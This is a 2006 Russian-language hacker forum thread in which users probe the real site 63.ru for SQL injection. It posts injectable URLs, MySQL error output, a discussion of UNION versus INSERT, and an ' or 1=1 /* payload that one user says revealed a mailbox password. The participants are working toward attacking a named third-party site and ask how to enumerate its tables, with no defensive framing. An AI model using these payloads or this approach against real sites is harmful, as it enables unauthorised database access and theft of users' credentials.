Mysql-inj?

Discussion in 'Уязвимости' started by Laggi, 13 Apr 2006.

  1. Laggi

    Laggi Elder - Старейшина

    Joined:
    19 Aug 2005
    Messages:
    43
    Likes Received:
    1
    Reputations:
    0
    http://www.63.ru/forum/forum.php?cmd=supergrass&id='
    Выдает ошибку...
    Ну ясно - не отсеивается ' в запросах... что-нить глубже получится у кого-нить раскопать? У мну не получилось О_о
    Гм.. там баг в таких почти везде запросах...
    http://www.63.ru/forum/forum.php?cmd=supergrass&id=195438&type='
    http://63.ru/poll/stat.php?anketa='
    Это в селектах...
    В голосовалке таже фигня в апдейте...
     
  2. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    во всех сайтах http://"$number".ru одни и теже ошибки
     
  3. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    Can't insert message id:

    Это значит что запрос INSERT INTO, а многострадальный UNION работает лишь с SELECT
     
    1 person likes this.
  4. Laggi

    Laggi Elder - Старейшина

    Joined:
    19 Aug 2005
    Messages:
    43
    Likes Received:
    1
    Reputations:
    0
    Can't get id of forum: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 1' at line 1

    это селект
     
  5. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    И еще, если ввести в форме
    __hxxp://www.63.ru/mail/mail?cmd=showforget
    в качестве имени пользователя ' or 1=1 /*, то будет
    Code:
    Пароль от ящика ' or 1=1 /*@63.ru : blade
    Не забывайте его!
    :D
     
  6. Laggi

    Laggi Elder - Старейшина

    Joined:
    19 Aug 2005
    Messages:
    43
    Likes Received:
    1
    Reputations:
    0
    дак вот: есть ли методика унзнавания имен таблиц или т.п.?
     
  7. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    578
    Likes Received:
    274
    Reputations:
    91
    есть. Но как-то при insert я методов не вижу. Тут рулит многострадальный union =)
     
  8. Laggi

    Laggi Elder - Старейшина

    Joined:
    19 Aug 2005
    Messages:
    43
    Likes Received:
    1
    Reputations:
    0
    да блин... тут не только в инзертах дыры! :)
    Я где-то в селекте видел...
    А не мог бы подсказать ссылку или описать методику поиска названий таблиц и полей в них
     
Loading...